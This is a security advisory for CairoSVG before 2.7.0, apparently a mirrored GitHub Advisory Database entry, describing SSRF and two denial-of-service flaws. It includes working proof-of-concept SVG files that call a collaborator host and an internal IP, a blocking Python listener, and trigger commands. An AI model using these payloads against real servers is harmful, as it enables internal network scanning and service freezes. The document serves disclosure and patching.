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githubGitHub Advisory DatabaseGHSA-RWMF-W63J-P7GV
HistoryMar 20, 2023 - 9:27 p.m.

CairoSVG improperly processes SVG files loaded from external resources

2023-03-2021:27:15
CWE-20
CWE-918
GitHub Advisory Database
github.com
23
cairosvg
ssrf
dos
vulnerability
svg
linux
debian
parrot os
python
external hosts
request forgery
ddos
ssti
freeze

9.9 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

HIGH

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L

0.001 Low

EPSS

Percentile

34.9%

SSRF vulnerability

Summary

When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

Details

A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization’s internal resources or a DDOS attack on external resources.
It looks like this bug can affect websites and cause request forgery on the server.

PoC

  1. Generating malicious svg file:
    1.1 CairoSVG_exploit.svg:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" />
    <style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style>
    <style type="text/css">
         <![CDATA[
            @import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9");
            rect { fill: red; stroke: blue; stroke-width: 3 }
         ]]>
    </style>
</svg>

1.2 CairoSVG_exploit_2.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <defs>
        <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
            <image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" />
        </pattern>
    </defs>
    <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" />
</svg>

1.3 CairoSVG_exploit_3.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" />
</svg>
  1. Run some commands:
    $ python3 -m cairosvg CairoSVG_exploit.svg -f png
    $ python3 -m cairosvg CairoSVG_exploit_2.svg -f png
    $ python3 -m cairosvg CairoSVG_exploit_3.svg -f png

  2. See result requests in Burp Collaborator:
    1

DOS vulnerability with SSTI

Summary

When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang.
It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

PoC

  1. Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://192.168.56.1:1234/" />
</svg>
  1. In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
    while True:
        data = conn.recv(2048)
s.close()
  1. Run commands:
    $timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png
    (without timeout server will hang forever)

DOS vulnerability with stdin file descriptor

Summary

Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file.
It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

PoC

  1. Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="file:///dev/stdin" />
</svg>
  1. In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
    while True:
        data = conn.recv(2048)
s.close()
  1. Run commands:
    $timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png

Affected configurations

Vulners
Node
github_advisory_databasecairosvgRange<2.7.0
CPENameOperatorVersion
cairosvglt2.7.0

9.9 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

HIGH

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L

0.001 Low

EPSS

Percentile

34.9%